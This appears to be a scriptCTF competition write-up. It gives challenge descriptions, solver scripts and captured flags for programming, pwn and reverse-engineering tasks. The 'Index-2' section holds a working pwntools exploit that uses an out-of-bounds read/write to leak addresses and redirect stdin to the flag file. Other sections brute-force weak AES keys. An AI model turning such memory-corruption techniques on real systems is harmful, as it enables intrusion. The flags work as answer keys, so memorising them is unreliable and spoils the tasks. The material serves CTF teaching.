if(out.size() > (1<<20)){
if(!send_str(sock,out,tag)) return false;
out.clear();
}
}
out.push_back('\n');
if(!send_str(sock,out,tag)) return false;
fprintf(stderr, "[*] Completed round: %s\n", tag);
return true;
};
auto stream_line_i32 = [&](const char* tag, auto gen)->bool{
fprintf(stderr, "[*] Streaming round: %s\n", tag);
string out; out.reserve(1<<20);
const int REPORT_EVERY = 50000;
for(int i=0;i<WINDOWS;i++){
int v = (int)gen(i);
char tmp[20]; int len = snprintf(tmp,sizeof(tmp),"%d ",v);
out.append(tmp,len);
if(((i+1)%REPORT_EVERY)==0){
fprintf(stderr, " - %s progress: %d / %d (%.1f%%)\n",
tag, i+1, WINDOWS, 100.0*(i+1)/WINDOWS);
}
if(out.size() > (1<<20)){
if(!send_str(sock,out,tag)) return false;
out.clear();
}
}
out.push_back('\n');
if(!send_str(sock,out,tag)) return false;
fprintf(stderr, "[*] Completed round: %s\n", tag);
return true;
};
// Precompute phi and divisors for GCD round
fprintf(stderr, "[*] Precomputing phi and divisors up to %d...\n", VMAX);
vector<int> phi(VMAX+1);
for(int i=0;i<=VMAX;i++) phi[i]=i;
for(int p=2;p<=VMAX;p++) if(phi[p]==p) for(int m=p;m<=VMAX;m+=p) phi[m]-=phi[m]/p;
vector<vector<int>> divs(VMAX+1);
for(int d=1; d<=VMAX; d++) for(int m=d; m<=VMAX; m+=d) divs[m].push_back(d);
fprintf(stderr, "[*] Precompute done.\n");
auto median_kind = getenv("MEDIAN_KIND");
bool lowerMedian = (median_kind && string(median_kind)=="lower");
// ---------------- Rounds ----------------
// 1) Sums
if(!stream_line_i64("Sums", [&](int i)->i64{
static bool init=false; static i64 s=0; static int l=0, r=W;
if(!init){ for(int k=0;k<W;k++) s+=A[k]; init=true; return s; }
s += A[r++] - A[l++]; return s;
})) return 0;
{ int rc = wait_until_round_or_error(sock, 2, "Sums"); if(rc!=0){ if(rc>0) goto DRAIN_AND_EXIT; else return 0; } }
// 2) Xors
if(!stream_line_i32("Xors", [&](int i)->int{
static bool init=false; static int x=0; static int l=0, r=W;
if(!init){ for(int k=0;k<W;k++) x^=A[k]; init=true; return x; }
x ^= A[l++] ^ A[r++]; return x;
})) return 0;
{ int rc = wait_until_round_or_error(sock, 3, "Xors"); if(rc!=0){ if(rc>0) goto DRAIN_AND_EXIT; else return 0; } }
// 3) Means (floor)
if(!stream_line_i64("Means", [&](int i)->i64{
static bool init=false; static i64 s=0; static int l=0, r=W;
if(!init){ for(int k=0;k<W;k++) s+=A[k]; init=true; return s/(i64)W; }
s += A[r++] - A[l++]; return s/(i64)W;
})) return 0;
{ int rc = wait_until_round_or_error(sock, 4, "Means"); if(rc!=0){ if(rc>0) goto DRAIN_AND_EXIT; else return 0; } }
// 4) Medians (upper by default; lower if MEDIAN_KIND=lower)
if(!stream_line_i32("Medians", [&](int i)->int{
static bool init=false; static Fenwick bit(VMAX+1); static int l=0, r=W;
if(!init){ for(int k=0;k<W;k++) bit.add(A[k], +1); init=true; }
else { bit.add(A[l++], -1); bit.add(A[r++], +1); }
int rank = lowerMedian ? (W/2) : (W/2 + 1);
return bit.kth(rank);
})) return 0;
{ int rc = wait_until_round_or_error(sock, 5, "Medians"); if(rc!=0){ if(rc>0) goto DRAIN_AND_EXIT; else return 0; } }
// 5) Modes (tie -> largest)
if(!stream_line_i32("Modes", [&](int i)->int{
static bool init=false;
static SegTreeMode seg(VMAX+1);
static vector<int> cnt(VMAX+1,0);
static int l=0, r=W;
auto add=[&](int v){ cnt[v]++; seg.setVal(v, cnt[v]); };
auto rem=[&](int v){ cnt[v]--; seg.setVal(v, cnt[v]); };
if(!init){ for(int k=0;k<W;k++) add(A[k]); init=true; }
else { rem(A[l++]); add(A[r++]); }
return seg.modeVal();
})) return 0;
{ int rc = wait_until_round_or_error(sock, 6, "Modes"); if(rc!=0){ if(rc>0) goto DRAIN_AND_EXIT; else return 0; } }
// 6) Mex
if(!stream_line_i32("Mex", [&](int i)->int{
static bool init=false;
static vector<int> cnt(VMAX+2,0);
static priority_queue<int, vector<int>, greater<int>> pq;
static int l=0, r=W;
auto push_missing=[&](int v){ if(v>=0 && v<=VMAX+1 && cnt[v]==0) pq.push(v); };
auto cur_mex=[&](){ while(!pq.empty() && cnt[pq.top()]>0) pq.pop(); return pq.empty()? VMAX+1 : pq.top(); };
if(!init){
for(int v=0; v<=VMAX+1; v++) pq.push(v);
for(int k=0;k<W;k++) cnt[A[k]]++;
init=true;
} else {
int out=A[l++], in=A[r++];
if(--cnt[out]==0) push_missing(out);
cnt[in]++; // lazy pop when queried
}
return cur_mex();
})) return 0;
{ int rc = wait_until_round_or_error(sock, 7, "Mex"); if(rc!=0){ if(rc>0) goto DRAIN_AND_EXIT; else return 0; } }
// 7) Distinct count
if(!stream_line_i32("Distinct", [&](int i)->int{
static bool init=false;
static vector<int> cnt(VMAX+1,0);
static int distinct=0;
static int l=0, r=W;
auto add=[&](int v){ if(cnt[v]++==0) distinct++; };
auto rem=[&](int v){ if(--cnt[v]==0) distinct--; };
if(!init){ for(int k=0;k<W;k++) add(A[k]); init=true; }
else { rem(A[l++]); add(A[r++]); }
return distinct;
})) return 0;
{ int rc = wait_until_round_or_error(sock, 8, "Distinct"); if(rc!=0){ if(rc>0) goto DRAIN_AND_EXIT; else return 0; } }
// 8) Sum of pairwise GCD
// Use identity: sum_{i<j} gcd(x_i,x_j) = sum_{m>=1} phi(m) * C(c_m, 2),
// where c_m = count of values divisible by m in the window.
// Handle zeros separately: gcd(0,y) = y, gcd(0,0) = 0.
if(!stream_line_i64("GCDpairSum", [&](int i)->i64{
static bool init=false;
static vector<int> cdiv(VMAX+1,0); // count of numbers divisible by m (m>=1)
static i64 posSum=0, gcdPos=0; // Σ φ(m)*C(cdiv[m],2) over m>=1, and sum of positives
static int zeros=0;
static int l=0, r=W;
auto add=[&](int v){
if(v==0){ zeros++; return; }
posSum += v;
// increase cdiv[d] by 1 for all d|v; delta in Σ is φ(d)*old_cdiv[d]
for(int d: divs[v]){ gcdPos += (i64)phi[d] * cdiv[d]; cdiv[d]++; }
};
auto rem=[&](int v){
if(v==0){ zeros--; return; }
posSum -= v;
// decrease cdiv[d] by 1; delta is -φ(d)*(new_cdiv[d]) where new = old-1
for(int d: divs[v]){ cdiv[d]--; gcdPos -= (i64)phi[d] * cdiv[d]; }
};
if(!init){
for(int k=0;k<W;k++) add(A[k]);
init=true;
} else {
rem(A[l++]); add(A[r++]);
}
return gcdPos + (i64)zeros * posSum;
})) return 0;
// After last line, just drain to EOF (should include the flag)
DRAIN_AND_EXIT:
{
char buf[1<<16]; ssize_t m;
while((m = ::recv(sock, buf, sizeof(buf), 0)) > 0){
ssize_t w = ::write(STDOUT_FILENO, buf, m);
(void)w;
}
}
return 0;
}
// ./solve play.scriptsorcerers.xyz 10251
// scriptCTF{i_10v3_m4_w1nd0wwwwwwww5_d2062f1a76c5}
Back From Where (79 solves)
Description:
Author: Connor Chang
On a grid, you begin on the top left, moving right and down until reaching the bottom right, multiplying every number you encounter on the path. Find the maximum number of trailing zeroes for every node. Note: You might want to check out BackFromBrazil from n00bzctf 2024.
(if you have any questions about input/output, plz open a ticket)
Attachments
import random
import sys
import subprocess
import time
n = 100
grid_lines = []
for _ in range(n):
row = []
for _ in range(n):
flip = random.randint(1, 2)
if flip == 1:
row.append(str(random.randint(1, 696) * 2))
else:
row.append(str(random.randint(1, 696) * 5))
grid_lines.append(' '.join(row))
for line in grid_lines:
sys.stdout.write(line + '\n')
start = int(time.time())
proc = subprocess.run(['./solve'], input='\n'.join(grid_lines).encode(), stdout=subprocess.PIPE)
ans = []
all_ans = proc.stdout.decode()
for line in all_ans.split('\n')[:100]:
ans.append(list(map(int, line.strip().split(' '))))
ur_output = []
for i in range(n):
ur_output.append(list(map(int, input().split())))
if int(time.time()) - start > 20:
print("Time Limit Exceeded!")
exit(-1)
if ur_output == ans:
with open('flag.txt', 'r') as f:
print(f.readline())
else:
print("Wrong Answer!")
Solution:
Will release writeup once authors verify teams.
Pwn
Index (313 solves)
Description:
Author: NoobMaster
I literally hand you the flag, just exploit it already!
Attachments
Solution:
There is a backdoor in the code. Upload the binary to dogbolt.org to get a decompilation that you can upload to AI.


Index-2 (75 solves)
Description:
Author: NoobMaster
This time, you get the file pointer, not the flag itself.
Attachments
Solution:
#!/usr/bin/env python3
from pwn import *
context.log_level = "debug"
BIN = "./index-2"
LIBC = "./libc.so.6"
HOST, PORT = "play.scriptsorcerers.xyz", 10231
elf = ELF(BIN, checksec=False)
libc = ELF(LIBC, checksec=False)
BANNER = b"1. Store data"
OFF_NUMS = elf.symbols["nums"]
OFF_F = elf.symbols["f"]
OFF_PUTS_GOT = elf.got["puts"]
def start(): return remote(HOST, PORT)
def menu(io): io.recvuntil(b"4. Exit")
def rd(io, idx):
menu(io); io.sendline(b"2")
io.recvuntil(b"Index: "); io.sendline(str(idx).encode())
line = io.recvline(timeout=2) or b""
log.debug(f"[read {idx}] {line!r}")
return line
def wr7(io, base, addr, data7: bytes):
assert len(data7) <= 7
idx = (addr - (base + OFF_NUMS)) // 8
log.info(f"[store7] addr={hex(addr)} idx={idx} bytes={data7.hex()}")
menu(io); io.sendline(b"1")
io.recvuntil(b"Index: "); io.sendline(str(idx).encode())
io.recvuntil(b"Data: "); io.send(data7 + b"\n")
def leak_pie(io):
for i in range(-1, -500, -1):
line = rd(io, i)
if not line.startswith(b"Data: "): continue
body = line[6:].rstrip(b"\n")
pos = body.find(BANNER)
if 2 <= pos <= 6:
roff = next(elf.search(BANNER))
leak = u64(body[:pos].ljust(8, b"\x00"))
base = (leak - roff) & ~0xfff
log.success(f"PIE base = {hex(base)} (idx {i})")
return base
raise SystemExit("no PIE leak")
def leak_ptr(io, base, addr):
idx = (addr - (base + OFF_NUMS)) // 8
line = rd(io, idx)
raw = line[6:].split(b"\x00",1)[0]
val = u64(raw[:6].ljust(8, b"\x00")) if raw else 0
log.info(f"LEAK @{hex(addr)} -> {hex(val)} (bytes={raw[:6].hex() if raw else b''})")
return val
def solve():
io = start()
# 1) PIE & libc
base = leak_pie(io)
puts = leak_ptr(io, base, base + OFF_PUTS_GOT)
libc_base = puts - libc.symbols["puts"]
log.success(f"puts@GLIBC = {hex(puts)}")
log.success(f"libc base = {hex(libc_base)}")
# IMPORTANT: use **program's** copy-relocated stdin pointer
stdin_prog = base + elf.symbols["stdin"]
log.success(f"prog stdin ptr @ {hex(stdin_prog)}")
# 2) backdoor -> open flag into global f
menu(io); io.sendline(b"1337")
# 3) leak FILE* f (should be heap-ish 0x00005555…)
f_ptr = leak_ptr(io, base, base + OFF_F)
if not f_ptr:
log.failure("f == NULL (flag not opened)"); io.close(); return
log.success(f"f (FILE*) = {hex(f_ptr)}")
# 4) single write: point program's stdin pointer to f
wr7(io, base, stdin_prog, p64(f_ptr)[:7])
# 5) do NOT re-sync to menu; next fgets(choice,..,stdin) reads from flag
data = b""
try:
data += io.recv(timeout=3) or b""
data += io.recv(timeout=3) or b""
except EOFError:
pass
print("\n==== AFTER SWAP ====")
try: print(data.decode(errors="ignore"), end="")
except: print(repr(data))
print("====================\n")
if b"Invalid choice: " in data:
tail = data.split(b"Invalid choice: ",1)[1]
print("FLAG:", tail.splitlines()[0].decode(errors="ignore").strip())
else:
# give one more chance in case of slow flush
more = io.recvrepeat(2)
if b"Invalid choice: " in more:
tail = more.split(b"Invalid choice: ",1)[1]
print("FLAG:", tail.splitlines()[0].decode(errors="ignore").strip())
else:
log.warning("No 'Invalid choice:' seen. Dumping tail:")
try: print(more.decode(errors="ignore"))
except: print(repr(more))
io.close()
if __name__ == "__main__":
solve()
# scriptCTF{4rr4y_OOB_l3v3l_up!_cb357fc3e29e}
Rev
Plastic Shield (308 solves)
Description:
Ashray Shah
OPSec is useless unless you do it correctly.
Attachments
Solution:
#!/usr/bin/env python3
import re, sys, string
from binascii import unhexlify
from hashlib import blake2b
try:
from Crypto.Cipher import AES
except Exception as e:
print("This script requires pycryptodome (package name: pycryptodome).")
raise
def extract_ciphertext(blob: bytes) -> bytes:
# Find the longest hex chunk in the binary (the encrypted blob is stored as hex)
hex_chunks = re.findall(rb"[0-9a-fA-F]{32,}", blob)
if not hex_chunks:
raise SystemExit("No hex blobs found in the binary")
# Pick the longest chunk (or first if ties)
hex_blob = max(hex_chunks, key=len)
# If it has odd length, trim the last nibble
if len(hex_blob) % 2 == 1:
hex_blob = hex_blob[:-1]
return unhexlify(hex_blob)
def decrypt_with_char(ciphertext: bytes, ch: str) -> bytes:
h = blake2b(ch.encode("utf-8"), digest_size=64).digest()
key, iv = h[:32], h[32:48]
pt = AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext)
# PKCS#7 unpad (tolerant)
pad = pt[-1]
if 1 <= pad <= 16 and pt.endswith(bytes([pad])*pad):
pt = pt[:-pad]
return pt
def main():
path = sys.argv[1] if len(sys.argv) > 1 else "plastic-shield"
with open(path, "rb") as f:
data = f.read()
ct = extract_ciphertext(data)
print(f"[+] Extracted ciphertext: {ct.hex()} ({len(ct)} bytes)")
printable = "".join(chr(i) for i in range(32,127))
for ch in printable:
pt = decrypt_with_char(ct, ch)
if b"CTF{" in pt or b"scriptCTF{" in pt or b"ctf{" in pt.lower():
print(f"[+] Hit! special char = {repr(ch)}")
print(pt.decode(errors="replace"))
# show a sample password that will work (length 10 -> floor(0.6*10)=6)
L = 10
i = int(0.6*L)
sample = ["A"]*L
sample[i] = ch
print(f"[+] Example working password (len={L}): {''.join(sample)}")
return
print("[-] No flag-like plaintext found. Try broadening heuristics.")
if __name__ == "__main__":
main()
#python plastic_shield_solver.py
#[+] Extracted ciphertext: 713d7f2c0f502f485a8af0c284bd3f1e7b03d27204a616a8340beaae23f130edf65401c1f99fe99f63486a385ccea217 (48 bytes)
#[+] Hit! special char = '`'
# scriptCTF{20_cau541i71e5_d3f3n5es_d0wn}
#[+] Example working password (len=10): AAAAAA`AAA
ForeignDesign (135 solves)
Description:
Author: Ashray Shah
Java is fun, but sometimes I crave more.
Attachments
Solution:
#!/usr/bin/env python3
"""
ForeignDesign.jar solver
- Reads the inner native lib from the JAR
- Extracts the interleaved check constants
- Inverts the native/Java transforms
- Depermutes characters
- Prints the flag
"""
import sys
import struct
from io import BytesIO
from zipfile import ZipFile
# ---------- helpers to open the JAR / inner zip ----------
def read_native_blob(jar_path: str) -> bytes:
with ZipFile(jar_path, "r") as z:
native_blob = z.read("native") # this entry is a zip itself
with ZipFile(BytesIO(native_blob), "r") as z2:
# Prefer linux64, fall back if needed
for path in ("linux64/libforeign.so", "win32/foreign.dll", "linux32/libforeign.so"):
if path in z2.namelist():
return z2.read(path)
raise FileNotFoundError("No supported native library found inside 'native' zip")
# ---------- the two transforms (as implemented by the challenge) ----------
def inv_java_s2(val: int, i: int) -> int:
"""
Java-side helper seen in bytecode:
t = c + 2*(i%7)
t ^= (44 if i%2==0 else 19)
return t + (i & 1)
Invert it to recover the char c for odd/even i accordingly.
"""
t = (val - (i & 1)) & 0xFFFFFFFF
t ^= (44 if (i % 2) == 0 else 19)
c = (t - 2 * (i % 7)) & 0xFFFFFFFF
return c & 0xFFFF # Java char is 16-bit
def inv_native_even(val: int, i: int) -> int:
"""
Native-side branch (for the other parity), inferred from lib constants:
T = (3*i + ((i+0x13) ^ c)) ^ 0x5A
Invert it to recover c.
"""
t = (val ^ 0x5A) & 0xFFFFFFFF
t = (t - 3 * i) & 0xFFFFFFFF
c = (t ^ ((i + 0x13) & 0xFFFFFFFF)) & 0xFFFFFFFF
return c & 0xFFFF # Java char width
def j_index(i: int, N: int) -> int:
"""Index permutation used by ck(): j = (5*i + 3) % N"""
return (5 * i + 3) % N
# ---------- pull the interleaved constants from the native lib ----------
def extract_interleaved_Ts(lib_bytes: bytes) -> list[int]:
"""
In the ELF/PE, the check constants appear as 32-bit little-endian ints:
[0,0,0, e0, o0, e1, o1, e2, o2, ..., e_last] (zeros are just padding)
where e_k are for even i, o_k for odd i.
We locate the “three zeros then a long run of <=255” pattern and
grab the following values; zeros inside the run are filtered out.
"""
# Interpret the file as a stream of 32-bit little-endian unsigned ints
count = len(lib_bytes) // 4
vals = struct.unpack("<" + "I" * count, lib_bytes[: count * 4])
hit_i = None
hit_len = 0
for i in range(0, len(vals) - 64):
if vals[i] == 0 and vals[i+1] == 0 and vals[i+2] == 0 and 0 < vals[i+3] <= 255:
# Count how long the “small ints” run lasts
j = i + 3
while j < len(vals) and vals[j] <= 255:
j += 1
if (j - (i + 3)) >= 35: # long enough to be interesting
hit_i, hit_len = i + 3, j - (i + 3)
break
if hit_i is None:
raise RuntimeError("Could not locate interleaved constants in native library")
raw = list(vals[hit_i : hit_i + hit_len])
# The actual sequence has occasional 0 padding: drop zeros and keep the first plausible N
cleaned = [v for v in raw if v != 0]
return cleaned
# ---------- reconstruct the flag ----------
def reconstruct_flag(Ts: list[int]) -> str:
"""
Ts[i] is the target integer for position i (after parity split),
and ck() reads characters at j=(5*i+3)%N. We invert and depermute.
"""
# Guess N: try reasonable lengths (the challenge uses 37, but make it robust)
for N in range(31, min(64, len(Ts)) + 1):
if (5 % N) == 0: # permutation must be bijective: gcd(5, N)==1
continue
# We need exactly N Ts; if we have more, just take a prefix
seq = Ts[:N]
out = [None] * N
for i, val in enumerate(seq):
c = inv_java_s2(val, i) if (i % 2) else inv_native_even(val, i)
out[j_index(i, N)] = c & 0xFF # reduce to ASCII byte
if all(ch is not None for ch in out):
s = "".join(chr(ch) for ch in out)
# Heuristics: looks like a flag?
if s.startswith("scriptCTF{") and s.endswith("}"):
return s
# Fallback: try the full length
N = len(Ts)
if (5 % N) != 0:
out = [None] * N
for i, val in enumerate(Ts[:N]):
c = inv_java_s2(val, i) if (i % 2) else inv_native_even(val, i)
out[j_index(i, N)] = c & 0xFF
s = "".join(chr(ch) for ch in out if ch is not None)
return s
raise RuntimeError("Unable to reconstruct flag")
def main():
jar_path = sys.argv[1] if len(sys.argv) > 1 else "ForeignDesign.jar"
lib = read_native_blob(jar_path)
Ts = extract_interleaved_Ts(lib)
flag = reconstruct_flag(Ts)
print(flag)
if __name__ == "__main__":
main()
# scriptCTF{nO_MOr3_n471v3_tr4N5l471on}
Plastic Shield 2 (98 solves)
Description:
Author: Ashray Shah
Okay! Fixed last time's issue. Seriously though, I swear this one is unbreakable.
Attachments
Solution:
Extract the ciphertext from the binary, such as with:
strings -n 32 plastic-shield-2 | grep -E '^[0-9a-f]{64}$'
Then:
When you enter a password, the program hashes it with BLAKE2b, turns that into hex, then (very weakly) pulls only the last few hex chars to build an AES key and IV.
That key/IV are then used in AES-CBC decryption of the fixed ciphertext, and the result is shown as
"Decrypted text: ..."
.Because only ~12 bits of entropy from the hash are actually used, the keyspace is tiny → brute force quickly recovers the real plaintext = the flag.
So: ciphertext is a static blob in the binary, and the “logic” is just hash(password) → (tiny slice) → AES-CBC decrypt that blob.
#!/usr/bin/env python3
# plastic-shield2 solve: brute-force the (key[0], last-nibble)<<4 weakness
import sys
import re
CIPHERTEXT_HEX = "e2ea0d318af80079fb56db5674ca8c274c5fd0e92019acd01e89171bb889f6b1"
def unpad_pkcs7(data: bytes) -> bytes:
if not data:
raise ValueError("empty")
pad = data[-1]
if pad < 1 or pad > 16 or data[-pad:] != bytes([pad]) * pad:
raise ValueError("bad pad")
return data[:-pad]
# --- AES backend (tries PyCryptodome, then cryptography) ---
def aes_cbc_decrypt(key: bytes, iv: bytes, ct: bytes) -> bytes:
try:
from Crypto.Cipher import AES # pycryptodome
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
return cipher.decrypt(ct)
except Exception:
# fallback: cryptography
try:
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
decryptor = cipher.decryptor()
return decryptor.update(ct) + decryptor.finalize()
except Exception as e2:
raise SystemExit(
"No AES backend available.\n"
"Install one of:\n"
" pip install pycryptodome\n"
"or\n"
" pip install cryptography"
)
def search_flag(ct_hex: str) -> str:
ct = bytes.fromhex(ct_hex)
def try_mode(key_len: int) -> str | None:
# Derived layout from reversing:
# key[0] = two hex chars -> any 0..255
# key[1] = (last hex char) << 4 -> values {0, 16, ..., 240}
# rest of key bytes are zeros
# IV is built the same way (iv[0]=key[0], iv[1]=key[1], rest zeros)
for k0 in range(256):
for last_nibble in range(16):
k1 = last_nibble << 4
key = bytes([k0, k1] + [0] * (key_len - 2))
iv = bytes([k0, k1] + [0] * 14) # IV is always 16 bytes
pt_raw = aes_cbc_decrypt(key, iv, ct)
try:
pt = unpad_pkcs7(pt_raw)
except ValueError:
continue
s = pt.decode("utf-8", errors="ignore")
m = re.search(r"scriptCTF\{[^}]+\}", s)
if m:
return m.group(0)
return None
# Try AES-128 first, then AES-256 fallback
flag = try_mode(16)
if flag:
return flag
flag = try_mode(32)
if flag:
return flag
raise SystemExit("Flag not found (did the ciphertext change?)")
if __name__ == "__main__":
flag = search_flag(CIPHERTEXT_HEX)
print(flag)
vm (68 solves)
Description:
Author: Connor Chang
my friend sent this wierd binary that i cant run. plz help me get his flag
Attachments
Solution:
Extract the zip then run this script to get the flag:
from pathlib import Path
import sys
code_path = Path("./check.bin")
def parse_instructions(code):
insns = []
n=len(code); pc=0
while pc<n:
op=code[pc]; pc+=1
if op==0x10:
r=code[pc]&7; imm=int.from_bytes(code[pc+1:pc+5],"little"); pc+=5
insns.append((pc-6, op, (r, imm)))
elif op in (0x20,0x30):
r1=code[pc]&7; r2=code[pc+1]&7; pc+=2
insns.append((pc-3, op, (r1,r2)))
elif op==0x40:
tgt=int.from_bytes(code[pc:pc+4],"little"); pc+=4
insns.append((pc-5, op, (tgt,)))
elif op==0x50:
r1=code[pc]&7; r2=code[pc+1]&7; tgt=int.from_bytes(code[pc+2:pc+6],"little"); pc+=6
insns.append((pc-7, op, (r1,r2,tgt)))
elif op==0x60:
r=code[pc]&7; idx=int.from_bytes(code[pc+1:pc+5],"little"); pc+=5
insns.append((pc-6, op, (r, idx)))
elif op==0x70:
insns.append((pc-1, op, ()))
else:
insns.append((pc-1, op, ()))
break
return insns
# Simple symbolic expression helpers
def Const(v): return ('const', v & 0xffffffff)
def Var(i): return ('var', i)
def is_const(e): return e[0]=='const'
def is_var(e): return e[0]=='var'
def mk_xor(a,b):
if is_const(a) and is_const(b): return Const(a[1]^b[1])
if is_const(a) and a[1]==0: return b
if is_const(b) and b[1]==0: return a
return ('op','xor',a,b)
def mk_add(a,b):
if is_const(a) and is_const(b): return Const((a[1]+b[1]) & 0xffffffff)
if is_const(b) and b[1]==0: return a
if is_const(a) and a[1]==0: return b
return ('op','add',a,b)
def simplify(e):
if e[0] in ('const','var'): return e
_,op,a,b = e
a = simplify(a); b = simplify(b)
if op=='xor': return mk_xor(a,b)
if op=='add': return mk_add(a,b)
return ('op',op,a,b)
def run_symbolic(code):
regs = [Const(0) for _ in range(8)]
n=len(code); pc=0
constraints=[]
while 0<=pc<n:
op=code[pc]; pc+=1
if op==0x10:
r=code[pc]&7; pc+=1
imm=int.from_bytes(code[pc:pc+4],"little"); pc+=4
regs[r]=Const(imm)
elif op in (0x20,0x30):
r1=code[pc]&7; r2=code[pc+1]&7; pc+=2
regs[r1]=simplify( (mk_add if op==0x20 else mk_xor)(regs[r1], regs[r2]) )
elif op==0x40:
tgt=int.from_bytes(code[pc:pc+4],"little"); pc=tgt
elif op==0x50:
r1=code[pc]&7; r2=code[pc+1]&7; pc+=2
tgt=int.from_bytes(code[pc:pc+4],"little"); pc+=4
constraints.append((regs[r1], regs[r2], pc-7))
elif op==0x60:
r=code[pc]&7; pc+=1
idx=int.from_bytes(code[pc:pc+4],"little"); pc+=4
regs[r]=Var(idx)
elif op==0x70:
break
else:
break
return constraints
def eval_expr(e, assign):
e = simplify(e)
if e[0]=='const': return e[1]
if e[0]=='var': return assign.get(e[1])
_,op,a,b = e
va = eval_expr(a, assign); vb = eval_expr(b, assign)
if va is None or vb is None: return None
return (va + vb) & 0xffffffff if op=='add' else (va ^ vb) & 0xffffffff
def vars_in_expr(e, s=None):
if s is None: s=set()
e=simplify(e)
if e[0]=='var': s.add(e[1])
elif e[0]=='op':
vars_in_expr(e[2], s); vars_in_expr(e[3], s)
return s
constraints = run_symbolic(bytearray(code_path.read_bytes()))
# Backtracking solver with printable ASCII domain
domain = list(range(32,127))
from collections import defaultdict
var_to_cons = defaultdict(list)
cons = [(a,b,addr, vars_in_expr(a)|vars_in_expr(b)) for (a,b,addr) in constraints]
for idx, c in enumerate(cons):
_,_,_,vs = c
for v in vs: var_to_cons[v].append(idx)
def pick_constraint(assign):
best=None
for (a,b,addr,vs) in cons:
va=eval_expr(a,assign); vb=eval_expr(b,assign)
if va is not None and vb is not None:
if va != vb: return ('conflict',(a,b,addr))
continue
unknowns=[v for v in vs if v not in assign]
if not unknowns: continue
k=len(unknowns)
if best is None or k<best[0]:
best=(k,(a,b,addr,unknowns))
if k==1: break
if best is None: return None
return ('constraint', best[1])
def backtrack(assign):
pick = pick_constraint(assign)
if pick is None: return assign
kind,payload = pick
if kind=='conflict': return None
a,b,addr,unknowns = payload
if len(unknowns)==1:
v = unknowns[0]
for cand in domain:
na=dict(assign); na[v]=cand
va=eval_expr(a,na); vb=eval_expr(b,na)
if va is not None and vb is not None and va != vb:
continue
sol=backtrack(na)
if sol is not None: return sol
return None
elif len(unknowns)==2:
v1,v2=unknowns
for cand1 in domain:
na=dict(assign); na[v1]=cand1
# Fast loop for v2 with pruning
for cand2 in domain:
nb=dict(na); nb[v2]=cand2
va=eval_expr(a,nb); vb=eval_expr(b,nb)
if va is not None and vb is not None and va != vb:
continue
sol=backtrack(nb)
if sol is not None: return sol
return None
else:
# pick the most constrained var to branch on
v = min(unknowns, key=lambda x: len(var_to_cons[x]))
for cand in domain:
na=dict(assign); na[v]=cand
# quick prune fully determined constraints
bad=False
for (a2,b2,addr2,vs2) in cons:
if all(vv in na for vv in vs2):
if eval_expr(a2,na) != eval_expr(b2,na): bad=True; break
if bad: continue
sol=backtrack(na)
if sol is not None: return sol
return None
solution = backtrack({})
if solution is None:
print("No solution found.")
sys.exit(1)
# Build the recovered table string
flag_bytes = bytes(solution.get(i, ord('?')) for i in range(23))
flag = flag_bytes.decode('ascii', 'replace')
print("Recovered string:", flag)
# Verify by simulating the VM with this table
def run_vm(code, table_bytes):
regs=[0]*8; pc=0; n=len(code)
def rd32(p): return int.from_bytes(code[p:p+4],'little')
steps=0
while 0<=pc<n and steps<100000:
steps+=1
op=code[pc]; pc+=1
if op==0x10:
r=code[pc]&7; pc+=1
regs[r]=rd32(pc); pc+=4
elif op==0x20:
r1=code[pc]&7; r2=code[pc+1]&7; pc+=2
regs[r1]=(regs[r1]+regs[r2]) & 0xffffffff
elif op==0x30:
r1=code[pc]&7; r2=code[pc+1]&7; pc+=2
regs[r1]=(regs[r1]^regs[r2]) & 0xffffffff
elif op==0x40:
pc=rd32(pc)
elif op==0x50:
r1=code[pc]&7; r2=code[pc+1]&7; pc+=2
tgt=rd32(pc); pc+=4
if regs[r1] != regs[r2]: pc=tgt
elif op==0x60:
r=code[pc]&7; pc+=1
idx=rd32(pc); pc+=4
regs[r]=table_bytes[idx]
elif op==0x70:
break
else:
break
return regs, pc, steps
regs, pc, steps = run_vm(bytearray(code_path.read_bytes()), flag_bytes)
print("VM verification -> regs[1]==0x69696969:", hex(regs[1])=="0x69696969")
# Recovered string: 5up3r_dup3r_345y_vm_r3v
# VM verification -> regs[1]==0x69696969: True
Last updated
Was this helpful?